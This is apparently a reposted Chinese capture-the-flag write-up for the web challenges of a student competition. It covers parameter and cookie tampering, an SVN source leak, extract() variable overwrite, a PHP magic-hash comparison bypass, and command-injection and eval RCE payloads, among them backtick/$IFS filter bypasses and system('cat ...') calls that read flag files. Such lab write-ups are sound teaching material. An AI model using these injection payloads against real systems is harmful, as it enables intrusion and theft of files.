WPweb中学生CTF | web部分wp
Posted yichen115
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了WPweb中学生CTF | web部分wp相关的知识,希望对你有一定的参考价值。
$_GET
源码:
<?php show_source(__FILE__); include ‘config.php‘; if(!isset($_GET[‘args‘])) die(); if ($_GET[‘args‘] === "give_me_flag") echo file_get_contents($flag_of_get); //flag ?>
会判断 $_GET 传参,如果是 args 且值是 give_me_flag,就会打印 flag
$_POST
源码
<?php show_source(__FILE__); include ‘config.php‘; if(!isset($_POST[‘args‘])) die(); if ($_POST[‘args‘] === "give_me_flag") echo file_get_contents($flag_of_post); //flag ?>
跟上一关一样,只是 GET 变成了 POST,用火狐的 hackbar 传参,拿到 flag
$_COOKIE
直接访问会显示:You are not admin,源代码没有任何提示
抓包看看:
有个 cookie: level=0,改成 1 看看
成功拿到 flag
SVN_Leaked
看到 SVN 联想到 SVN 源码泄漏,用工具扫一下
有个 SourceLeakHackerForLinux.py
github 项目:https://github.com/Err0rzz/SourceLeakHacker
一开始各种路径试了试,结果直接访问 .php 文件就可以得到 flag
List It
查看源代码,发现有的 admin 的连接,访问!
访问以后又看到有个
点开就是 flag,怎么感觉这题应该是放在第一道签到题呐。。
change_and_download
发现下载的文件名是 base64 编码的格式
然后就完蛋了,做了一个多小时都没找到 flag,但是记得第一次做这一题的时候很简单就做出来了,自闭!!!
Guess Random
查看源代码,有个 ?debug=true
加上以后就有了源码
发现了extract($_POST),变量覆盖!!
传参:secretKey=1&password=1,得到 flag
Guess Random 2
访问index.php.bak,下载下来 bak 文件
<?php require_once ‘flag.php‘; if(isset($_GET[‘mash‘]) and isset($_GET[‘hash‘])) $res = sanitize($_GET[‘mash‘]); $hash = sanitize($_GET[‘hash‘]); $secretValue = (rand(5,5555)*555+55555555555); if(($res != false) and ($hash != false)) if($res.$secretValue == md5($_GET[‘hash‘])) echo $flag; else echo ‘Try Again ! ‘; else echo "No!!!"; else echo "<img src=‘http://sqlbak.com/blog/wp-content/uploads/2014/02/bak_file.png‘>"; //function function sanitize($var) $valideChar = str_split(‘abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789‘); $res = ‘‘; if(isset($var) and !empty($var)) $tmp = str_split($var); foreach($tmp as $value) if(in_array($value,$valideChar)) $res.=$value; return $res; else return false; ?>
首先 $_GET 传进两个变量,首先会经过 sanitize 进行处理,处理的过程大概就是将传入的字符串分割成一个一个的字符,然后看看在不在 $valideChar 里面,如果在的话就正常返回值
那么正常的输入字符串是没有什么问题的,剩下的就是绕过 MD5 了
只需要 MD5 开头是 0e,PHP 在进行比较运算时,如果遇到了 0exxx 这种字符串,就会将这种字符串解析为科学计数法,因为 0exx 都等于 0,所以让两者相等我们只需再找到一个 MD5 加密后开头为 0exxx 的字符串即可
需要注意的是,第一个参数是不经过 MD5 的,所以需要直接传入 0exxx 开头的,足够 32 位就可以
Ping
命令执行绕过,试了试过滤了一些:一些命令
但是反引号可以执行命令
通过拼接,可以拼接出来:ls 命令
127.0.0.1;`a="l";b="s";c=$a$b;$c`
可以发现 flag 就是下面那一串 flag_ 开头的字符串
在拼接命令来查看:
127.0.0.1;`a="ca";b="t$IFSfla";c="g_ae8e4cd6ce3b5";d=$a$b$c;$d`
针对空格过滤,可以使用:
$IFS
< (也被过滤了)
$IFS
$IFS$9
来代替,但是考虑到在一串字符串中,所以使用 $IFS 来代替空格
Easy RCE
查看源码,发现
但是传值,总是出现问题,在题目的地方发现,可以查看 hint
查看 hint
<?php eval($_GET[‘name‘]."!!!"); ?>
后面追加了三个 !!!,所以会有报错
知道问题了,只需要绕过就可以了
使用://就可以把 php 代码注释掉
?name=print_r(scandir(‘./‘));//
?name=print_r(scandir(‘../../../‘));//
?name=system(‘cat ../../../flag_bfe6335f68be16c1‘);//
以上是关于WPweb中学生CTF | web部分wp的主要内容,如果未能解决你的问题,请参考以下文章
[CTF从0到1学习] BUUCTF WEB部分 wp(待完善)
[CTF从0到1学习] BUUCTF WEB部分 wp(待完善)